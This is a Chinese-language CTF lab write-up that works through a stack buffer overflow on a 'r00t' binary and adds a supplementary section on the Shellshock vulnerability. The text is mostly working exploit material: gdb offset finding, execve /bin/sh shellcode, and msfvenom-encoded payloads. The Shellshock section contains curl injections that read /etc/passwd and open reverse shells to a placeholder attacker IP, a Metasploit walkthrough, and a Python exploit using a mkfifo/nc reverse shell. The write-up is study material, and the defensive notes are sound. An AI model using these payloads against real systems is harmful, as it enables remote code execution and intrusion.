Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
用以上命令生成偏移较大的值,然后复制到gdb里面run。

找到溢出位置0x6a413969
1cp /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb ./
2./pattern_offset.rb -q 6a413969 -l 1000

得知偏移量是268,以下的door2不是door3,door2要输入一个参数来做偏移量。
1(gdb)
2r $(python -c 'print ("A"*268 + "B"*4)')
3info r

1r $(python -c 'print ("A"*268 + "B"*4+"C"*20)')

到网页https://shell-storm.org/shellcode/index.html 上找execve /bin/sh找到对应版本的payload:https://shell-storm.org/shellcode/files/shellcode-827.html

1*****************************************************
2* Linux/x86 execve /bin/sh shellcode 23 bytes *
3*****************************************************
4* Author: Hamza Megahed *
5*****************************************************
6* Twitter: @Hamza_Mega *
7*****************************************************
8* blog: hamza-mega[dot]blogspot[dot]com *
9*****************************************************
10* E-mail: hamza[dot]megahed[at]gmail[dot]com *
11*****************************************************
12
13xor %eax,%eax
14push %eax
15push $0x68732f2f
16push $0x6e69622f
17mov %esp,%ebx
18push %eax
19push %ebx
20mov %esp,%ecx
21mov $0xb,%al
22int $0x80
23
24********************************
25#include <stdio.h>
26#include <string.h>
27
28char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
29 "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
30
31int main(void)
32{
33fprintf(stdout,"Length: %d\n",strlen(shellcode));
34(*(void(*)()) shellcode)();
35return 0;
36}
所以,构造payload为
1./r00t $(python -c 'print "A"* 268 + "\x80\xfb\xff\xbf" + "\x90" *20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
2cat /root/Proof.txt

搞错了,应该是door2不是door3。

方法二:检查坏字符
在gdb中调试
1r $(python -c 'print("A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")')
2x/256x $esp
3x/256b $esp
\x00本身就是坏字符,\x09 \x0a \x20这三个逐个去掉后找出,完全去掉后就连续了,就没有坏点了,说明坏字符为:x00\x0a\x09\x20

用坏字符生成payload,然后用命令加载即可。
1msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc
2
3./r00t $(python -c 'print ("A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\xba\xa0\x03\xb5\x23\xda\xc8\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x55\x69\xbe\x7b\x0c\x3c\xa6\x13\x03\xa2\xaf\x03\x33\x0b\xc3\xa3\xc3\x3b\x0c\x56\xaa\xd5\xdb\x75\x7e\xc2\xd4\x79\x7e\x12\xca\x1b\x17\x7c\x3b\xaf\x8f\x80\x14\x1c\xc6\x60\x57\x22")')

这个靶场开始有难度了,涉及到一些内存的知识点。我对这部分知识也不太了解,很多不会的地方我询问了AI,安全学习是一个庞杂的方向,需要触类旁通。
补充知识点:CVE-2014-6271 (Shellshock 漏洞)
漏洞原理
- 根本原因:Bash 在处理环境变量时,未正确验证以
() {开头的函数定义字符串,导致后续命令被意外执行。 - 影响范围:Bash 版本 1.14 ~ 4.3(2014年9月前的版本)。
- 典型场景:Web服务器(如Apache CGI)、DHCP客户端、SSH守护进程等通过环境变量调用Bash的场景。
漏洞检测
方法 1:本地检测
1env x='() { :;}; echo VULNERABLE' bash -c "echo Testing"
- 安全输出:无反应或报错。
- 存在漏洞:输出
VULNERABLE和Testing。
方法 2:远程检测(针对Web CGI)
1curl -A "() { :;}; echo VULNERABLE" http://target/cgi-bin/test.cgi
- 若返回
VULNERABLE,则存在漏洞。
漏洞利用方法
场景 1:通过HTTP请求(Apache CGI)
假设目标服务器存在 /cgi-bin/status.cgi(或其他CGI脚本):
- 执行任意命令:
1curl -H "User-Agent: () { :;}; /bin/bash -c 'cat /etc/passwd'" http://target/cgi-bin/status.cgi
- 通过修改
User-Agent、Cookie或Referer头注入命令。
- 反弹Shell:
1curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1" http://target/cgi-bin/status.cgi
- 在攻击机监听端口:
1nc -lvnp 4444
场景 2:DHCP客户端攻击
如果目标作为DHCP客户端且使用受漏洞影响的Bash:
- 攻击者可伪造DHCP服务器,在分配IP时注入恶意环境变量。
场景 3:SSH强制命令
若目标允许通过SSH公钥认证并配置了强制命令(如 command="example"):
1ssh -i id_rsa user@target '() { :;}; /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1'
自动化利用工具
1. Metasploit
1msf6 > use exploit/multi/http/apache_mod_cgi_bash_env
2msf6 > set RHOSTS <目标IP>
3msf6 > set TARGETURI /cgi-bin/status.cgi
4msf6 > set PAYLOAD linux/x86/shell/reverse_tcp
5msf6 > set LHOST <攻击者IP>
6msf6 > exploit
2. Python EXP脚本
1import requests
2
3url = "http://target/cgi-bin/status.cgi"
4headers = {
5"User-Agent": "() { :;}; /bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击者IP 4444 >/tmp/f'"
6}
7requests.get(url, headers=headers)
补充知识点:缓冲区溢出漏洞
技术背景
strcpy的作用: 将源字符串复制到目标缓冲区,不检查目标缓冲区长度,可能导致缓冲区溢出(Buffer Overflow)。- 漏洞场景:
如果目标缓冲区(如栈上的字符数组)较小,而源字符串过长,
strcpy会覆盖栈上的返回地址(或其他关键数据),导致程序崩溃或被控制流劫持。
调试中如何观察
- 查看函数上下文
输入
disas或disassemble反汇编当前函数,观察strcpy调用前后的逻辑:
1(gdb) disas main
- 检查参数传递
在
call strcpy前,参数通过栈传递(x86架构)或寄存器传递(x86-64架构)。例如,在 x86 中,参数按从右到左顺序压栈:
1push 源字符串地址 ; 第二个参数(src)
2push 目标缓冲区地址 ; 第一个参数(dest)
3call strcpy
- 设置断点
在
strcpy调用前设置断点,观察内存状态:
1(gdb) break *0x0804848b ; 在调用 strcpy 的地址处断点
2(gdb) run ; 运行程序
3(gdb) info registers ; 查看寄存器值(如 ESP、EBP)
4(gdb) x/8wx $esp ; 查看栈内容(x86)
漏洞利用示例
假设目标缓冲区在栈上且无长度检查:
1char buffer[64];
2strcpy(buffer, 用户输入); // 用户输入超过 64 字节会导致溢出
覆盖返回地址 构造输入字符串,覆盖栈上的返回地址为恶意代码地址(如 Shellcode)。
利用工具 使用 Python 或
pwntools生成 payload:
1payload = b'A' * 64 # 填充缓冲区
2payload += b'BBBB' # 覆盖 EBP
3payload += p32(0xdeadbeef) # 覆盖返回地址
- 在 GDB 中验证 输入超长字符串,观察程序崩溃时的寄存器值:
1(gdb) run < payload.txt
2Program received signal SIGSEGV, Segmentation fault.
3eip = 0xdeadbeef ; 返回地址被成功覆盖
防御与修复
- 替换安全函数
使用
strncpy或snprintf替代strcpy,并明确限制长度:
1strncpy(buffer, src, sizeof(buffer)-1);
2buffer[sizeof(buffer)-1] = '\0';
- 编译选项 启用栈保护(Stack Canary)和地址随机化(ASLR):
1gcc -fstack-protector -pie -fPIE -o program program.c
攻击命令结构
1./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "<shellcode>"')
该命令生成的输入字符串分为四部分:
"A"\*268:填充缓冲区到返回地址前的偏移。"\x80\xfb\xff\xbf":覆盖栈上的返回地址,指向NOP雪橇或shellcode。"\x90"\*20:NOP雪橇(滑板指令),提高shellcode命中率。<shellcode>:恶意机器码(如启动/bin/sh的代码)。
逐部分详解
1. 填充字符(“A”*268)
- 作用:覆盖从缓冲区起始位置到返回地址之间的空间。
- 长度计算:
通过动态调试(如 GDB)确定缓冲区到返回地址的偏移。假设缓冲区大小为 256 字节,加上保存的
EBP(4 字节),总偏移为 256 + 4 = 260 字节。若实际测试中发现需要 268 字节,可能是栈对齐或其他变量影响。
2. 覆盖返回地址("\x80\xfb\xff\xbf")
- 目标地址:
0xbffffb80(小端序,实际字节为\x80\xfb\xff\xbf)。 - 含义:
- 该地址指向栈上的某个位置(可能是
NOP雪橇或shellcode起始处)。 - 在关闭 ASLR 的系统中,栈地址通常固定(如
0xbffffxxx)。
3. NOP雪橇("\x90"*20)
- 作用:
\x90是NOP(No Operation)指令,执行时不进行任何操作,程序计数器(EIP)会继续向后移动。- 增加
NOP雪橇的长度可提高命中率,即使返回地址略微偏差,仍可能滑入shellcode。
4. Shellcode
- 代码内容:
1xor eax, eax ; \x31\xc0 (清空 eax)
2push eax ; \x50 (压入字符串终止符 \x00)
3push 0x68732f2f ; \x68\x2f\x2f\x73\x68 ("//sh")
4push 0x6e69622f ; \x68\x2f\x62\x69\x6e ("/bin")
5mov ebx, esp ; \x89\xe3 (ebx 指向 "/bin//sh")
6push eax ; \x50 (argv[1] = NULL)
7push ebx ; \x53 (argv[0] 指向 "/bin//sh")
8mov ecx, esp ; \x89\xe1 (ecx 指向 argv)
9mov al, 0xb ; \xb0\x0b (syscall 号 11: execve)
10int 0x80 ; \xcd\x80 (触发系统调用)
- 功能:调用
execve("/bin//sh", argv, NULL),启动一个交互式 shell。
攻击流程
- 溢出缓冲区:通过输入字符串覆盖栈上的返回地址。
- 劫持 EIP:程序返回时跳转到
0xbffffb80(指向NOP雪橇)。 - 滑入 Shellcode:CPU 执行
NOP指令,直到命中shellcode。 - 执行恶意代码:
shellcode启动/bin/sh,攻击者获得 shell 控制权。
依赖条件
栈可执行(DEP 关闭):现代系统默认启用数据执行保护(DEP),需目标程序编译时关闭该保护(
gcc -z execstack)。ASLR 关闭:地址空间随机化会使得栈地址不可预测,需在测试环境中关闭:
1echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
- 准确的偏移计算:需通过调试确定填充长度和返回地址位置。
调试验证步骤
- 确定偏移量:
1# 生成测试字符串
2python -c 'print "A"*268 + "BBBB" + "C"*100' > payload
3# 在 GDB 中运行
4gdb ./r00t
5(gdb) run < payload
6# 观察崩溃时 EIP 是否为 0x42424242("BBBB")
- 定位 Shellcode 地址:
1(gdb) run < <(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "shellcode"')
2(gdb) x/32wx $esp # 查看栈内容,确认 NOP 和 shellcode 位置
防御措施
- 启用 DEP/XN 位:阻止栈上代码执行。
- 启用 ASLR:随机化内存布局。
- 使用安全函数:替换
strcpy为strncpy或snprintf。 - 栈保护(Stack Canary):检测缓冲区溢出
补充知识点:坏字符
在缓冲区溢出攻击的调试过程中,你提供的命令用于检查内存布局和验证攻击载荷(payload)是否正确覆盖目标区域。以下是详细解析:
1. 构造的 Payload 分析
1(gdb)
2r $(python -c 'print("A"*268 + "B"*4 + "\x01\x02\x03\x04...\xff")')
"A"\*268:填充到返回地址前的偏移(假设覆盖返回地址需要 268 字节)。"B"\*4:覆盖返回地址的测试值(0x42424242,即 ASCII “BBBB”)。\x01\x02\x03...\xff:覆盖返回地址后的内存区域,包含所有可能的单字节值(0x01~0xff)。
2. x/256x $esp 和 x/256b $esp 的作用
这两个 GDB 命令用于检查内存内容,但输出格式不同:
(1) x/256x $esp
作用:以 十六进制四字节字(word) 显示栈顶(
$esp指向的地址)开始的 256 个 word(即 256×4=1024 字节)。快速查看大范围内存布局(如返回地址、栈帧结构)。
确认
"B"*4(0x42424242)是否覆盖到预期的返回地址位置。观察后续数据(
\x01\x02\x03...)是否连续写入内存。
(2) x/256b $esp
作用:以 单字节(byte) 显示栈顶开始的 256 个字节。
精确检查每个字节的值,识别坏字符(Bad Characters)。
验证输入数据是否被篡改(如某些字符被过滤或截断)。
确认内存中的字节顺序(是否与输入顺序一致)。
3. 关键检查项
(1) 验证返回地址覆盖
- 在
x/256x $esp的输出中,搜索``0x42424242`。 - 如果找到,说明
"B"*4成功覆盖返回地址。 - 如果未找到,需重新计算偏移量(调整
"A"*268的长度)。
(2) 检测坏字符
坏字符(Bad Characters):某些字节(如
\x00、\x0a、\x0d)可能导致输入被截断或程序崩溃。检查方法:
- 在
x/256b $esp的输出中,从0x01开始逐字节对比输入和内存中的值。 - 若某个字节在内存中缺失或值改变(如
0x09变为0x20),则该字节为坏字符。 - 在构造 Shellcode 时需避免使用坏字符。
(3) 观察内存连续性
确认输入数据(
\x01\x02\x03...)是否完整且顺序正确。如果发现数据断裂或顺序错乱,可能因栈溢出破坏其他变量或指针。
4. 示例输出分析
假设执行 x/16x $esp 输出:
10xbffffb80: 0x41414141 0x41414141 0x41414141 0x42424242
20xbffffb90: 0x03020100 0x07060504 0x0b0a0908 0x0f0e0d0c
3...
- 覆盖验证:地址
0xbffffb8c处值为0x42424242,说明返回地址被正确覆盖。 - 数据连续性:后续数据
0x03020100对应输入\x00\x01\x02\x03(注意小端序)。
若执行 x/16b $esp 输出:
10xbffffb80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
20xbffffb88: 0x41 0x41 0x41 0x41 0x42 0x42 0x42 0x42
3...
- 字节验证:输入
"A"(0x41)和"B"(0x42)正确写入内存。
5. 渗透测试中的应用
偏移量校准:通过多次运行和观察内存,调整
"A"*N的长度,确保返回地址精准覆盖。坏字符列表生成:记录所有被篡改的字节,构建
BadChars = \x00\x09\x0a...。Shellcode 适配 :使用编码器(如
msfvenom)生成不含坏字符的 Shellcode:
1msfvenom -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a' -f python
总结
x/256x $esp:用于快速观察内存布局,验证大范围数据覆盖。x/256b $esp:用于精细检查字节级数据,识别坏字符和输入篡改。- 在渗透测试中,这两个命令是调试缓冲区溢出漏洞的 核心工具,帮助确认攻击载荷的有效性和可靠性。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


